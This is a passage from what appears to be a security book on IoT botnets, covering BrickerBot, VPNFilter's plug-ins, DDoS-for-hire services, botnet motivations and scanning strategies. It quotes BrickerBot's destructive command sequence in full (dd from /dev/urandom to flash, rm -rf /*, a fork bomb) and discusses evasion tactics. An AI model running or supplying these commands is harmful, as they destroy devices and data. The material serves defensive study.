5555 Alternate TR-064/069 port—Android Debug Bridge

6789 Port used by certain Mirai variants

7547 TR-064/069

8000 Alternate HTTP port

8022 Alternate SSH port

8023 Alternate Telnet port

8080 Alternate HTTP port

8888 Alternate HTTP port

19058 Reverse Telnet port used by some Mirai variant

23123 Port used by some Mirai variants

23231 Port used by some Mirai variants
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HNAP, and SOAP modules mostly leveraged unauthenticated Remote Command
Execution exploits to submit commands to its victim.

The command sequences used to brick the victim differed depending on the
class of device and its exposure level. A typical sequence consists of series of Linux
commands that should ultimately lead to corrupted storage, followed by com-
mands to disrupt Internet connectivity, device performance, a shell bomb, and
the wiping of all files on the device. Below is an example of a brick sequence used
by BrickerBot toward an IP camera that was supposedly infected with a Mirai
variant (edited for brevity):

fdisk -l

df

cat /proc/mounts

dd if=/dev/urandom of=/dev/mtdblock0 &

dd if=/dev/urandom of=/dev/mmc0 &

dd if=/dev/urandom of=/dev/ram0 &

cat /dev/urandom>/dev/mtdblock0 &

cat /dev/urandom>/dev/mmc0 &

cat /dev/urandom>/dev/ram0 &

fdisk -C 1 -H 1 -S 1 /dev/mtd0

w

fdisk -C 1 -H 1 -S 1 /dev/mtdblock0

w

route del default; iproute del default; rm - rf /* 2 >/dev/null & iptables -F; iptables -t nat -F;

iptables -A OUTPUT -j DROP

d(){ d|d & }; d 2 >/dev/null

sysctl -w net.ipv4.tcp_timestamps=0; sysctl -w kernel.threads-max=1

halt -n -f

reboot

d(){ d|d & }; d

It is important to note that BrickerBot does not infect the victim and does not
execute any processes on the victim besides “standard” Unix or BusyBox commands.

BrickerBot was an atypical botnet: it did not spread nor did it scan for victims;
it did not infect victims but attempted to destroy them using a sequence of
commands that were executed remotely. BrickerBot had no C2 infrastructure,
and attacks were triggered by unsuspecting victims attempting to compromise
a BrickerBot infected IoT device. BrickerBot is considered the first fully auto-
mated PDoS botnet. BrickerBot operated fully autonomously, finding targets
through passive network monitoring, which made it utterly silent and very hard
for security researchers to detect and almost impossible to take down.

2.3.6 VPNFilter

It was only a matter of time before highly capable, organized cybercrime groups
would take an interest in the sad state of IoT. In May 2018, Cisco Talos
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published its first findings on a sophisticated modular malware system, dubbed
VPNFilter [38–40], which had been growing its foothold steadily since at least
2016. Some modified or erroneous RC4 encryption code discovered in the
malware was very similar to code used in certain versions of BlackEnergy
malware. The BlackEnergy malware was responsible for multiple large-scale
attacks in Ukraine, primarily targeting ICS, energy, government, and media
sectors [41]. VPNFilter was observed actively infecting Ukrainian hosts at an
alarming rate and had a dedicated C2 infrastructure only for that country,
separate from the C2 used for the rest of the world.

The number of infected devices in May 2018 was estimated to be at least half
a million devices spread across 54 countries. Devices that were affected by
VPNFilter consisted of networking equipment and NAS devices from a wide
range of vendors including ASUS, D-Link, Huawei, Linksys, MikroTik, NET-
GEAR, TPLink, Ubiquiti, UPVEL, and ZTE.

The researchers are unsure of the particular exploit or methods used to spread
the malware, but most devices targeted have known public exploits or default
credentials that make compromise relatively straightforward. All of this contrib-
uted to a quiet growth of the threat since at least 2016.

VPNFilter is a multistage, modular platform with versatile capabilities to
support both intelligence-gathering and destructive cyberattacks. The stage 1
malware is persistent across reboots, which sets it apart from most other IoT
malware. The primary purpose of stage 1 is to gain persistent foothold on the
victim and enable deployment of stage 2 malware.

Stage 1 uses multiple redundant C2 mechanisms to discover the IP of the stage 2
server, making the malware robust and capable of dealing with C2 infrastructure
changes or takedowns. First, the malware visits a number of photo gallery pages
hosted on “photobucket.com” and fetches the first image from the page. If this fails,
the malware will download an image from a hardcoded domain “toknowall.com”—
a domain that was later sinkholed by the FBI. Upon successfully downloading an
image file, the stage 1 malware is able to extract the IPv4 address of its stage 2
download server from the EXIF coordinates in the image’s metadata.

If both previous attempts to locate the stage 2 download server fail, the malware
goes into a passive listening mode waiting for a specific trigger packet, which would
contain the IP of the stage 2 download server. To that end, the stage 1 malware’s
listener inspects all incoming TCP/IPv4 packets with SYN flag set. If the inspected
packet is at least eight bytes, the listener scans the packet for the byte sequence \x0c
\x15\x22\x2b and directly following that marker it will be able to find the four-
byte IPv4 address of the stage 2 server where it can download the stage 2 malware.
The stage 2 malware possesses capabilities many intelligence-collection platforms
have come to provide: file collection, command execution, data exfiltration, and
device management but does not persist through reboots. Certain platform versions
of the stage 2 malware contain self-destruct capabilities that overwrite portions of
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the device’s firmware and reboot the device, rendering it unusable. For those stage 2
malware versions that do not contain this ability, a stage 3 plugin module is
provided with similar self-destructive capabilities.

The modular malware has the ability to download stage 3 modules that serve as
plugins and increase the functionality of the malware. The plug-in modules
discovered by the Cisco Talos team gave VPNFilter the capabilities to map
private networks and exploit endpoint systems connected to compromised
devices. It also extended the abilities to identify new victims accessible from the
compromised devices for both lateral movement within private networks as well
as spreading across public networks. Other plug-ins provide ways to obfuscate or
encrypt traffic and conceal exfiltrated data or C2 communications. Other exten-
sions allow compromised devices to take part in a distributed network of proxies
that can be leveraged for concealing targeted attacks.

2.3.6.1 Extension Plug-Ins

Talos identified almost a dozen plug-ins that add capabilities to the malware.
“ps” is a packet sniffer that collects traffic passing through the device by

stealing website credentials and monitoring for Modbus SCADA communications
“ssler” is a data exfiltration and JavaScript injection plug-in that intercepts all

traffic destined for port 80 passing through the infected device. The module starts
a local proxy service listening on port 8888 and using iptables redirects all traffic
on port 80 to the local service. All outgoing web requests intercepted by “ssler”
can be inspected and manipulated before being forwarded to the legitimate
HTTP service. All HTTP requests and responses are “sslstripped”, meaning that
any instances of “https://” are replaced by “http://” in an attempt to keep
communications with sensitive data such as credentials on insecure connections
so they could be inspected

“tor” is a communications module that allows the malware to communicate
and exfiltrate data over Tor6

“dstr” provides the capability to brick the infected device when instructed by
the malicious agent. When executed, the module removes all traces of the
VPNFilter malware and then renders the device unusable, very much the same
way BrickerBot destroyed its victims remotely.

“htpx” is an endpoint exploitation module that shares code with the previously
described “ssler” module. The module redirects and inspects HTTP communica-
tions to identify the presence of Windows executables.

6 Tor is an identity-concealing network consisting of a distributed network of relays run by volunteers all
around the world. Tor is an implementation of onion routing, which encrypts and then randomly bounces
communications through a large number of relays around the globe, preventing activities to be traced back
to the originating node.
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Talos’ assessment of this module is that it could be leveraged by attackers to
allow on-the-fly patching of Windows executables with malicious code as they
pass through compromised devices.

“ndbr” uses the Dropbear SSH server and client with some modifications. The
“dbmulti” Dropbear utility was modified to add a port scanning feature to the
already existing SSH client, SSH server, SCP client, as well as the ability to
generate and convert keys. It allows the malware to start an SSH server on port
TCP/63914, to perform SSH brute forcing attacks, and to perform port scans of
arbitrary ranges and ports

“nm” is a network mapper that scans and maps private networks connected to
the compromised device. It iterates through all network interfaces and performs
an ARP scan for all hosts in the interface defined subnets. Upon receiving ARP
replies, “nm” will perform a more elaborate scan on the ports 9, 21, 22, 23, 25,
37, 42, 43, 53, 69, 70, 79, 80, 88, 103, 110, 115, 118, 123, 137, 138, 139, 143,
150, 156, 161, 190, 197, 389, 443, 445, 515, 546, 547, 569, 3306, 8080, and
8291. Next, “nm” uses the MikroTik Network Discovery Protocol (MNDP) to
locate any potential MikroTik devices on the private network and if a device is
discovered logs its details. The module also contains code for Simple Service
Discovery Protocol (SSDP), Cisco Discovery Protocol (CDP), and Link Layer
Discovery Protocol (LLDP). The module gathers information from the infected
device’s ARP table through “/proc/net/arp” as well as wireless information from
“/proc/net/wireless”. It also performs traceroute and reachability tests to Google’s
DNS (8.8.8.8:53). All the information is gathered and saved in a JSON for-
matted text file named “/var/run/repsc <time stamp>.bin.”

“netfilter” provides the capability to install iptables rules on an infected device
and deny access for hosts on the private network to specific subnets as instructed
by the attackers.

“portforwarding” is designed to install iptables rules to forwards traffic destined
to a specific port on a public interface to another IP and port. This allows the
infected device to be configured to pass traffic destined to IP1:PORT1 to another
host IP2:PORT2. This feature can be used to expose internal hosts to the public
or to create a multi-hop path for concealing traffic by bouncing it through
a range of compromised devices before it reaches its destination.

“socks5proxy” is a SOCKS5 proxy server based on the open-source project
shadowsocks (https://shadowsocks.org/). The proxy server does not use authenti-
cation and is hardcoded to listen on port TCP/5380.

“tcpvpn” is a reverse tunnel VPN designed to allow remote access for the
attackers. All tunneled traffic is encrypted using RC4.

The threat posed by this IoT botnet was high enough for the FBI to take
immediate action and disrupt VPNFilter by securing a court order in May 2018
authorizing them to seize the domain “toknowall.com”, a part of the malware’s
C2 infrastructure. The court order referred to APT28 (“Fancy Bear”), a cyber-
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espionage group that is associated with the Russian military intelligence agency
GRU7. In June 2018, the FBI published a Public Service Announcement [42]
recommending owners of small office and home office routers to power cycle
their devices in an attempt to clean the infected devices from stage 2 and stage 3
malware and while having control of the “toknowall.com” domain prevent the
persisting stage 1 malware to re-download its stage 2 and 3 components. It gave
the FBI the opportunity to record the requests to the seized domain and assess
the breadth of the malware’s foothold.

2.4 DDoS-for-Hire, the Case of Booters and Stressers
On December 12, 2018, the U.S. Attorney’s Office charged [43] David Bukoski,
23, of Pennsylvania, for operating Quantum Stresser—one of the longest-running
DDoS services with over 80,000 customer subscriptions since its launch in 2012.
In 2018 alone, Quantum Stresser was used to launch more than 50,000 actual or
attempted DDoS attacks targeting victims worldwide.

Also, in December 2018 [44], Kaye, a British citizen known online under the
monikers of “BestBuy” and “Popopret,” pleaded guilty to creating and using
a botnet and possessing criminal property. At the time he was living in Cyprus,
he rented his Mirai botnet to a Liberian ISP named Cellcom. Cellcom instructed
Kaye to use his skills and botnet to attack rival Liberian ISP Lonestar MTN. The
attacks were so massive that it took out internet connectivity for the entire
country of Liberia. The National Crime Agency said that damages from these
attacks reached in the tens of millions of US dollars in revenue loss for Lone-
star MTN.

Making money, and preferably lots of it and in a very short amount of time, is
one of the motivations behind IoT DDoS botnets. Other motivations include
hacktivist attacks and nation-state or government-sponsored attacks. The users of
booter and stresser services are organizations that want to take out their compe-
titors or gain a temporary competitive advantage, malicious agents extorting
organizations during DDoS ransom campaigns, gamers taking out their oppo-
nents and forfeiting a game that they were about to lose or slow down their
opponents so they can easily target them in multiplayer shooters.

Let’s take a journey through a booter [45] and stresser service to better
understand the tools, the trade, and pricing behind DDoS-as-a-Service or DDoS-
for-Hire. Putinstresser.eu appeared early 2018 and been active for some time, an
addition to the growing number of low-priced DDoS-as-a-Service, commonly
known as booters and stressers. The site illustrates the maturity and the ease of

7 GRU (Glavnoye Razvedyvatel’noye Upravleniye) is the main military foreign-intelligence service of the
Russian Federation
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access these services have reached. It provides different, very accessible payment
options, discovery tools, support and flexible attack options for a wide range of
customers. There are hundreds, maybe thousands, of those services on the dark
and clear net, most of them offering very similar services but with one common
objective: making money from customers that are looking to perform illegal
DDoS attacks. The growing number of customers for these platforms are
hacktivists, ransom engineers, businesses trying to impact their competition,
unhappy customers, disgruntled employees, and kids (including grown-up kids)
trying to get an edge on their multiplayer gaming adversaries.

Signing up to the service is easy and requires only a username, password, and
an email address. The email address does not get validated so enrolling anon-
ymously is surprisingly easy. Back in March 2018, the site mentioned 3,246
registered users and performed a total of 37,894 boots (attacks). The website
states that the services are powered by 24 attack servers hosted across three major
providers: Voxility, OVH, and Combahot/link11. According to the FAQ, the
attack plane of the booter performs up to 350 Gbps per stress using DNS
amplification given that the total load on the network is less than 50% TCP
stress provides 600,000 pps per stress and more and uses slots to ensure fair and
constant power for each attack.

Plans start with a trial plan at $5 for 400 sec attack time, valid for one week.
The first full plan starts at $10 per month for 600 sec attack time with one
concurrent attack. The highest plan provides almost 3.5 h of attack time for $400
including the ability to run six concurrent attacks.

The site provides several payment options ranging from PayPal, Bitcoin,
Paysafecard, and Skrill up to CSGO Skins. Counter-Strike: Global Offensive
(CSGO) is a first-person multiplayer shooter developed by Hidden Path Enter-
tainment and Valve Corporation, running on the Source engine. CSGO has
a very competitive community and one of the games used in professional
competitions such as the ESL Prod League. Games with huge communities
come with large ecosystems and one of the traded valuables in CSGO are skins,
allowing players to differentiate themselves with unique and custom skins for
their favorite weapons in the game.

CSGO skins have become a currency and can be bought and sold online
through sites such as csgo-skins.com and skins.cash. To put the CSGO ecosystem
in its right perspective, the site skins.cash alone sold almost 25 million skins as of
March 2018. A factory new, Souvenir AWP Dragon Lore skin with minimal wear
can be yours for $35,000 (source: OPSkins). In January, a CSGO fan dropped
over $60k for this rifle skin, autographed by Tyler “Skadoodle” Latham,
a member of the Cloud9 Counter-Strike team that became the first American
squad to win a Valve-sponsored CSGO event, the ELeague Boston Major in
January 2018.
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The “attack hub” provides an easy interface to perform and manage several
concurrent attacks with differing attack vectors and victims. From the attack hub,
one can start a new attack by filling in the victim’s IP address, the target port, the
duration of the attack in seconds and the method or attack vector. A convenient
table shows the history of performed attacks and the live attacks that can be
stopped at any time through a simple click on a button.

The attack methods or vectors available to choose from include the “golden
standards,” such as DNS, NTP, SNMP, and SSDP amplification attacks as well
as the latest Memcached attack: also, the traditional TCP XSYN, XACK, and
XMAS floods, GRE-based attacks, attacks targeting TeamSpeak servers using the
TS3 protocol, as well as attack vectors for different multiplayer gaming platforms
such as Valve Source Engine (VSE), Minecraft, Counter-Strike (GK CS), Steam,
and Grand Theft Auto San Andreas Multi-Player (GK Samp). The owners of the
site advertised their attack vectors on Pastebin with a short description and some
help for unseasoned attackers.

The site delivers some convenient tools for resolving IP addresses and checking
if a website is “Up” or “Down.” It also includes an option to find the IP address
of services protected (hidden) behind Cloudflare.

For users in need, the site has a live chat and support feature to submit and
track support tickets as well as live chat options through Discord.8 While a lot of
the hacking community draws parallels to the gaming ecosystem, and their tools
and payment options are sourced through that ecosystem, let us not forget that
the objective is to make money and limit as much as possible the risk of being
exposed or tracked down.

2.5 Closing Thought
The internet has become a battlefield. Every two minutes, your router or
modem at home, your servers in the cloud, and your enterprise gateways are at
risk of falling prey to new and emerging botnets. Botnets are fighting for share,
leveraging new exploits, and aggressively scanning to compromise devices as fast
as possible and get the most out of the moment after which they fade away
quickly and make room for new botnets. In some way, we should count
ourselves lucky many opportunistic actors are fighting for the same large swath
of resources resulting in a fragmented market. If one botnet would be able to
rule them all, we would be facing a weapon of unseen size and with internet
extinction-level abilities. For sure we do not want anyone to be able to gather
that much power and responsibility, but as we are advancing our interconnected

8 Discord is a proprietary freeware VoIP application designed for gaming communities and providing an
alternative to Skype or TeamSpeak
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world of smart devices and services, while we do not improve their security
posture and their owners are mainly concerned with convenience rather than
safety, the risk for ending up in such a situation is not unimaginable and will
not fade with time.
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3.1 Motivations
Developing and operating botnets is illegal; the upside is that they are lucrative. The
main motivations behind cybercrimes involving botnets are unsurprisingly money
and politics (hacktivism and nation-state). Botnets can provide different services from
running disruptive distributed denial-of-service (DDoS) campaigns, crypto-mining
campaigns, intelligence gathering, to anonymizing and disrupting communications.

3.1.1 Denial-of-Service Attacks
The primary purpose, and for long the most prevalent for IoT botnets, is facilitating
DDoS attacks [1]. The distributed aspect of the attacks is a clear dominant factor for
botnets. Given that the bots (IoT devices) are resource constrained, the attack
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volumes a single bot can generate will not facilitate disruptive levels of attack traffic.
However, a high number of bots in a botnet will combine into an effective weapon.

Denial-of-service (DoS) attacks can be either volumetric or application-level
attacks. The volumetric attacks, as the name implies, will overload a target with
high volumes of traffic. To generate large attack volumes, a high enough number of
devices should be combined to generate the volume. Alternatively, intermediate
services can be leveraged to amplify a small volume transmitted by a bot or server
into a larger volume towards the victim. The latter are called “amplification attacks”
and use open internet services that generate large responses given small queries. The
idea is that an attacking server or bot generates a continuous flow of queries to the
service and have the service respond to the victim. To that end, the source IP of the
queries needs to be spoofed with the address of the victim so that the server does
not respond to the attacking server but to the victim instead. Evidently, spoofing
only works for connection-less protocols such as UDP. Typical amplification
services include DNS, SSDP, NTP, CharGen, etc., which can provide an average
between 30 and 500 times amplifications. More recently, Memcached, a cloud
server caching service that was never supposed to be publicly exposed, was leveraged
to generate a 1.35 Tbps attack [2]. Memcached was found to provide between
10,000 and 50,000 times amplification [3]. As long as the response is larger than
the query and the service can be tricked to reply to another host than the requester,
the service is a good candidate for amplification. However powerful, amplification
attacks are not a good fit for botnets. The attack vectors included in Mirai [4]
reflect this through lack of amplification attacks:

1. UDP flood: Straight up UDP flood
2. VSE flood: Valve Source Engine query flood
3. DNS flood: DNS water torture
4. SYN flood: TCP SYN flood
5. ACK flood: TCP ACK flood
6. STOMP flood: In session TCP ACK flood
7. GRE IP flood: GRE IP flood
8. GRE ETH flood: GRE Ethernet flood
9. Plain UDP flood: UDP flood optimized for speed
10. HTTP flood: HTTP layer 7 flood

To perform effective amplification attacks, a botnet would require additional
logic to control the upstream bandwidth to the amplification server. Not control-
ling the upstream volume to the amplification service might result in disruption of
the amplification service itself. Amplification attacks require a certain level of
control of the total aggregated upstream bandwidth to ensure they are successful.
Since amplification attacks involve spoofing of the source IP and many internet
service providers (ISPs) block (or should block) traffic originating from their
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network with unknown sources (see IETF BCP38 [5]), one cannot assume that
each device will succeed to send spoofed traffic to the amplification service. One
should query each bot (device) to know if it is in an environment that allows source
IP spoofing before adding it to the list of devices and then add its upstream
bandwidth the total upstream volume.

Even if many ISPs drop spoofed traffic originating from within their networks,
Mirai and Qbot do provide attack options for spoofing. The spoofing algorithm
used in these bots, however, generates random source IP addresses within the
subnet mask of the WAN IP used for the attack. For example, if the WAN IP is
a.b.c.d/16, the attack algorithm will randomly change the source IP of the
emitted packets only in the c and d components of the IP address to ensure the
spoofed sources are still part of the subnet of the WAN provider and do not get
filtered by the ISPs upstream routers.

Application-level DoS attacks mostly involve some connection state and as
such spoofing becomes nearly impossible—e.g., an HTTP GET attack requires
the TCP connection to be established, meaning a three-way handshake between
server and client and by consequence the client cannot spoof its source. Botnets
provide an excellent platform for scaling application-level DoS attacks through
the large numbers of bots and their distributed nature increases the difficulty to
detect, characterize and mitigate the attacks.

Pure volumetric DoS attacks are only about generating disruption-level
volumes. The actual amount of bandwidth required to bring down a specific
target is not typically that important, as long as it is enough. Basically, the botnet
can blast at full capacity—more is better in this case. The distributed nature of
the botnet makes the attacks more difficult to detect and block using simple IP
filters and if the botnet is globally distributed, which most botnets are, the traffic
is coming into the victim through different paths from the internet; this is where
botnets provide the ideal architecture to perform volumetric DDoS attacks. They
are not constrained by the uplinks from providers or countries hosting the victim,
their distributed nature will ensure almost every possible access path and multiple
continent and country uplinks are used to deliver the load to the victim.

3.1.2 Crypto-Mining
DDoS was the primary malicious payload in bots for a long time. In 2017, the
use of cryptographic currency in ransomware became the new normal. Ransom-
ware, however, was not the ideal platform for making a quick buck since it
involves end users. End users that mostly do not have any affinity with
cryptocurrencies and do not have a clue how to pay the ransom. Ransomware
with payouts trough cryptocurrencies had to focus in large part on providing end
users tutorials how to get currency and how to transfer them to the account of
the attacker so he could provide a key to unlock the victim’s encrypted files. Less
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interactivity with the end user would prove to be more efficient and it did not
take long before malicious agents moved from ransom to the more convenient
crypto-jacking—loading a JavaScript based crypto-mining software that runs in
the browser of the victim and mines Monero or other cryptocurrencies without
the user’s consent or him being aware of it. Soon enough, IoT botnets started
joining the mining gold rush.

One would note that IoT devices are resource constrained and probably not
the preferred platforms for mining cryptocurrency. As the cryptographic puzzle
that needs solving to propose new blocks to be added to the blockchain
became more complex and resource intensive, crypto-miners grouped into
cooperatives where each member contributes to solving the same puzzle. If
the puzzle got solved first among all blockchain miners the group could be
rewarded for adding a new block to the chain. Any received rewards are
subsequently split proportionally to each member’s contribution to solving
the puzzle. These cooperative groups are called “mining pools.” Mining pools
are an excellent fit for resource constrained devices, therefore IoT devices are
compromised and infected with mining software to join a mining group on
behalf of the botnet’s owner. All benefits from the devices cooperating in the
mining group go to the malicious actor who owns the botnet. While this
practice has been one of the new malicious payloads in a couple of IoT
targeting botnets like Droidminer [6], the IoT botnet herders soon found that
mining for gold in the cloud could be a more lucrative activity given the
elastic resources provided by most cloud platforms.

This was one of the drivers for IoT botnets, such as Owari, to start exploiting
cloud services using the Hadoop YARN exploit [7].

Another interesting IoT abuse in crypto-mining is one that directly attacked
crypto-mining appliances. Crypto-mining appliances are considered IoT devices
and most of them are based on a stripped version of the Linux operating system.
The probability to be the first to find a suitable nonce and get rewarded increases
with the hashing rate (hashes per second). A crypto-mining appliance consists of
one or more graphical processing units (GPU), the same type that might be in
a gaming rig, with a restricted control plane CPU that allows Linux to run
software that leverages the capabilities of the GPUs for solving hashes. Miners
provide the most energy-efficient way to perform crypto-mining, which typically
is very energy consuming.

Miners are very much like IoT devices, running the same operating system (Linux)
under the same restricted conditions and with very much the same security issues and
vulnerabilities. In January 2018, a variant of Satori was discovered targeting systems
running a popular closed-source crypto-mining client called “Claymore Miner” [8].
The botnet exploited a vulnerability in the mining software that allowed it to change
the target mining pool and payout wallet. By consequence, a compromised mining
system would have quietly switched to mine for the attacker and not for the owner
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of the system. A relatively simple but very effective attack and through the efficient
methods IoT botnets use for discovering and spreading malware, it does not take
long to enslave a good number of devices amass a good amount of digital gold.

3.1.3 Anonymizing Proxies

A large network of compromised systems is an effective way to conceal the source
of malicious traffic. From browsing cybercrime forums, testing of stolen credit
card data through online marketplaces (carding), up to hiding the source of spam
mail and click-fraud servers, and much more, anonymizer network access is being
traded in dark web market places in exchange for crypto money.

IoT devices, especially routers, provide a potent platform for anonymizer
networks. In February 2018, the OMG botnet [9], a botnet with traces of Mirai
and Satori/Masuta, targeted IoT devices and infected them with malicious soft-
ware capable of proxying traffic using SOCKS servers. OMG leveraged 3proxy,
an open source, cross-platform proxy server with a tiny footprint providing
HTTP proxying with HTTPS and FTP support, SOCKSv4/SOCKSv4.5/
SOCKSv5, POP3, SMTP, AIM/ICQ, MSN messenger/Live messenger, FTP,
and caching DNS proxies as well as TCP and UDP port mappers.

In March 2018, a security firm reported on the Inception Network [10],
a network consisting of vulnerable UPnP devices in use since 2014. The network
was used for launching stealthy attacks by the Inception APT (Advanced Persistent
Threat) Group, a cyber-espionage group from unknown origin. The Inception
Network strings chains of routers together to create multiple proxies to hide behind.
Certain router manufacturers have UPnP listening on the WAN interface as per
default configuration. These routers can be hijacked and configured to forward traffic
destined to a specific port on the device, to another host on the internet. Abuse of this
service requires no custom malware to be injected on the routers and can be used at
a scale very easily to create dynamic chains of vulnerable routers for each connection;
once the connection is complete, the chain is cleaned up.

In January 2019, the security research team at American ISP CenturyLink
discovered an IoT botnet proxying traffic for a YouTube video ad fraud scheme
[11]. The researchers discovered a new proxy module used by the TheMoon IoT
malware. The TheMoon botnet has been around since 2014 and its primary mode
of infection has been exploited to gain control over vulnerable routers and IoT
devices. In its early days the botnet was primarily used for DDoS attacks but has
switched purposes from DDoS canon to proxy network. The malware downloads
an additional proxy module that opens a SOCKS5 proxy on the infected devices.
The botnet operators rent access to pieces of the botnet to other criminal groups
who use their proxy access to conceal brute-force attacks, credential stuffing attacks,
advertising fraud, etc. The researchers uncovered 24 command and control (C2)
servers to which the bots connected and received instructions.
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3.1.4 Snooping

IoT bots have been observed monitoring network traffic, some passively for informa-
tional purposes, others actively injecting malicious JavaScript code in HTTP traffic
traversing the router device. Motivations range from gathering intelligence on
victims, launching JavaScript-based crypto-jacking malware, stealing credentials or
virtual credit card skimming through JavaScript injection, dropping Windows
malware through HTML code injection, etc.

In August 2018, for example, security researchers discovered [12] over 200,000
routers compromised by malicious software able to inject a malicious version of the
Coinhive web-based cryptocurrency miner in every web page unsuspecting users
visited. Given the performance issues and increased traffic the malicious cryptocur-
rency mining causes, the campaign’s operators realized the attacks would draw the
attention of ISPs and security researchers and quickly changed tactics. The malicious
Coinhive script was then just injected in error pages returned by the router to
maintain a low profile.

VPNFilter [13] was found to carry malicious multiple stage 3 plug-in modules
with code to steal credentials and harvest information on remote networks, intercept
or block network traffic, and monitor Supervisory Control and Data Acquisition
(SCADA) protocols such as Modbus.

3.1.5 Bricking
Disrupting communications can impact city security surveillance networks, ISPs,
causing internet blackouts in whole regions to create chaos, etc. By infecting enough
devices in a certain region or specific IP range, malicious agents can instruct their
malware to brick (destroy or corrupt) infected devices. BrickerBot is one such botnet
built exclusively to destroy (brick) infected IoT devices. The author, “the Janit0r”
referred to his project as “Internet Chemotherapy.” The botnet used many known
IoT vulnerabilities to compromise infected IoT devices that were discovered
through its sensor network of sentinels and then launched a sequence of destructive
remote shell commands corrupting the flash or breaking internet connectivity on
the victims.

VPNFilter is another highly sophisticated botnet that carried bricking capabilities.
The botnet is assumed to be part of a nation-state operation targeting primarily
Ukrainian routers. With a single remote command from its operators, the bot
would attempt to destroy itself. The motivations behind VPNFilter’s bricking
capabilities are not clear; it could have been about causing chaos and blacking out
communications in the region of Ukraine, but it could also be in an attempt to
destroy any evidence on the infected device and hamper forensic research to
prevent attribution.
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3.2 Discovery
Discovery is one of the important aspects to consider while designing a botnet.
A powerful botnet should be able to perform devastating attacks and its ability to do
so mainly will be governed by its size (number of bots). A scalable C2 architecture is
nothing without high numbers of compromised devices to manage.

The discovery stage of a botnet is also one of the most visible and exposed
activities. Many security researchers across the globe have deployed network traffic
collectors and honeypots to intercept discovery traffic and trap new botnets in their
earliest stages. The internet is a real minefield from a botnets’ point of view.
Navigating that minefield without triggering the traps will be subject to the scanning
method, and trade-offs will have to be made.

3.2.1 Distributed Scanning

Self-spreading, wormlike behavior is known to be the most effective method to
grow a botnet in a limited amount of time. Each infected device becomes a scanner
in its own right, actively searching the internet for new potential victims and
infecting them or reporting them to a central instance for further exploiting and
infection. See Figure 3.1.

Distributed scanning provides for a near exponential growth of the botnet. As
more bots are discovered and infected, more active members are scanning and the
probability of discovering new potential victims within a limited amount of time
increases with each new member.

Imagine a bot herder bootstrapping his botnet with a single, manually compro-
mised device. One device is scanning the internet for known vulnerable and open
ports. Upon finding a new potential victim, it will be infected and will start actively

Figure 3.1 Distributed Scanning.
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scanning. At that moment, two nodes are scanning the internet, effectively doubling
the probability to discover new victims. Two nodes each find a new victim, which
brings the bot count to four, from four it soon grows to eight, sixteen, etc. Hence the
exponential rise in probability to discover new victims and a near exponential growth
of the botnet.

A drawback of distributed scanning is that the scanner needs to be embedded in
the bot itself. IoT devices have limited resources and run embedded and stripped
versions of Linux. Consequently, the bot’s memory footprint should be kept
limited and it should be efficient in its CPU consumption. The availability of
shared libraries or popular scripting languages such as Python is not assured and
in most cases they are not there. Installing new libraries or packages is prohibited
or prone to failure because of typically read-only mounted flash filesystems on
embedded Linux systems. This makes the implementation of distributed scanners
really hard. See also Section 3.6.

The Mirai scanner can be considered as an efficient and one of the most reused
engines for port scanning and bruting in botnets. Adding, for example, SSH
capabilities would require a lot of development in a language such as C compared
to building the same scanning engine in Python. There are IoT bots that gave
distributed SSH scanning a quick and very opportunistic shot by using a Python
script that requires Paramiko. This would only work on those devices that have
Python on board and allow the installation of new modules through the PIP
Python package manager. These are not that many, although not as far reached as
one would first assume. Considering IoT runs the same, but stripped-down,
version of Linux as servers do, the move from IoT to servers, more specifically
cloud servers, are not that far off and these servers will typically allow, given
a privileged user, the installation of Python packages.

Another interesting design pattern is provided by the Lua scripting language
(Section 3.6). Lua is known to be easily embedded in C programs and extends
the capabilities of the program dynamically through scripts. Lua will bloat the
memory footprint, but it is one of the most efficient scripting engines in terms of
memory and CPU requirements. It has been battle-proven on constrained IoT
devices and provides probably one of the best options to create modular exten-
sions for more sophisticated IoT botnets. In October 2018, the Chalubo [14]
DDoS botnet was discovered. Chalubo was a botnet with Lua support built into
its bots and while primarily targeting Linux servers, it had support for and was
observed infecting IoT devices.

Another, more critical, drawback of distributed scanning is the amount of noise
it makes. As mentioned before, the internet is like a minefield of researcher probes
and honeypots. Spray and pray is not the best strategy to keep under the radar.
Since every node is scanning for new victims, security researchers can identify every
infected device and easily map out and estimate the size of the botnet. Since many
nodes are scanning concurrently, the probability of hitting up a honeypot is very
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high, and it will take not too long before the botnet might be compromised by
researchers who tricked the loader into giving up its binaries; with some reversing it
is only a matter of time before they will figure out and expose the exploits, methods
and the C2 infrastructure, at which point they will sinkhole the domains and
blackhole or take down servers that are part of the C2 infrastructure, crippling the
botnet for good unless it anticipated this with robust C2 recoveries.

Distributed scanning is nonetheless one of the most popular design patterns for
botnets as it provides fast growing botnets. Evasion and redundant C2 server
techniques, as well as bulletproof Virtual Private Servers, can provide improved
resistance against takedown and sinkholing. Mirai, Reaper/IoTrooper, Satori, etc.,
all use or used distributed scanning, each with quite a reasonable degree of success.

3.2.2 Central Scanning

Orthogonal to distributed scanning is central scanning. With central scanning,
only one or few servers are used to actively scan the internet for new victims (see
Figure 3.2). Upon discovering new victims, the server itself can infect the devices,
or it can report the new victims to a dedicated loader server. Splitting the tasks
and responsibilities across smaller (micro) services, such as used by Mirai, allows
more scalable and more robust C2 infrastructures.

Because central scanning can be performed on full-featured, powerful (Linux)
servers, the attacker has access to a vast arsenal of existing tools such as port

Figure 3.2 Central scanning.
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scanners and high-level programming languages, such as Python, which through
its thriving community have many extension modules that can be leveraged to
implement new scanners fast and efficiently. Many exploits come with a proof of
concept and these are frequently written in Python; a simple copy/paste is all it
takes for an attacker to add new exploit capabilities to its scanner. Remember that
known vulnerabilities, even older ones, are still very effective in the IoT land-
scape, since devices get updated infrequently or never. Updating and operating
the scanning are much easier with only a handful of servers compared to a botnet
that might need a reboot (re-loading of all previously infected nodes).

Central scanning can, and in many cases is, combined with distributed scanning.
Mirai provided for an efficient scanner, so why not leverage it to exploit devices
based on telnet and default credentials. Mirai comes with a configuration flag that
allows bots to be built with the Telnet scanner engine disabled. JenX [15] is
a botnet that leveraged Mirai code but with the Telnet scanning engine disabled
and exclusively used central scanning for discovering potential victims.

With central scanning, only one or few servers are scanning and that will produce
much less noise than thousands of devices randomly targeting the same IP ranges.
The drawback is that the botnet growth is limited to less than linear growth with
the number of servers that are actively scanning. Adding more servers and dividing
ranges based on geography between them will ensure better linearity in the scale
while ensuring minimal exposure to honeypots. Fast growing, newly forming
botnets using distributed scanning techniques, such as the IoTroop and Satori
botnets, generated hundreds of thousands of events in detection networks. Central
scanning will only generate a single event per honeypot! As one might imagine,
